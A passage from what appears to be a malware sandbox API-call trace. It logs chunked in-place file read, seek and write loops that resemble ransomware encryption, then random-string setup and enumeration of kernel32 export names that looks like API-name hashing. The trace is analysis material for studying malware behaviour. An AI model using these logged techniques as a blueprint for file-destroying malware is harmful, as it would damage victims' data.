lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0072.844] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.845] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0072.848] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0072.859] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.859] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0072.862] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0072.890] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.890] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0072.950] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0072.962] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.962] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0072.965] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0072.993] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.993] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0072.996] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.057] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.057] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.060] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.087] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.087] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.090] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.101] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.101] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.104] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.193] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.193] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.196] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.212] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.212] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.214] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.236] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.236] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.239] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.291] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.291] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.294] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.331] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.331] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.334] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.344] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.344] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.351] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.375] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.375] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.382] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.392] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.392] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.396] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.406] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.406] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.554] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.569] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.569] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.572] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.580] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.580] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.583] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.592] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.592] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.594] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.637] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.637] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.639] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.682] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.682] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.684] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.754] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.754] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.757] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.852] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.853] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.855] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.864] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.864] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.866] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0073.875] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.875] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0073.877] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x60012, lpOverlapped=0x0) returned 1 [0073.885] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff9ffee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.885] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x60012, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x60012, lpOverlapped=0x0) returned 1 [0073.886] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x0, lpOverlapped=0x0) returned 1 [0073.886] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.886] WriteFile (in: hFile=0x308, lpBuffer=0x321e640*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x321e640*, lpNumberOfBytesWritten=0x321e628*=0x108, lpOverlapped=0x0) returned 1 [0073.886] VirtualFree (lpAddress=0x3580000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.891] VirtualFree (lpAddress=0x3680000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.962] CloseHandle (hObject=0x308) returned 1 [0075.009] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.009] GetTickCount () returned 0x20cdb [0075.009] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.010] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0075.010] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.010] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.010] lstrlenA (lpString="kernel32.dll") returned 12 [0075.010] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0075.010] lstrcpyA (in: lpString1=0x321db34, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0075.011] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0075.011] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0075.011] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0075.011] lstrlenA (lpString="ADDATOMA") returned 8 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0075.011] lstrlenA (lpString="ADDATOMW") returned 8 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0075.011] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0075.011] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0075.011] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0075.011] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0075.011] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0075.011] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0075.011] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0075.011] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0075.011] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0075.011] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0075.011] lstrcpyA (in: lpString1=0x321db34, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0075.012] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0075.012] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0075.012] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0075.012] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0075.012] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0075.012] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0075.012] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0075.012] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0075.012] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0075.012] lstrlenA (lpString="BACKUPREAD") returned 10 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0075.012] lstrlenA (lpString="BACKUPSEEK") returned 10 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0075.012] lstrlenA (lpString="BACKUPWRITE") returned 11 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0075.012] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0075.012] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0075.012] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0075.012] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0075.012] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") 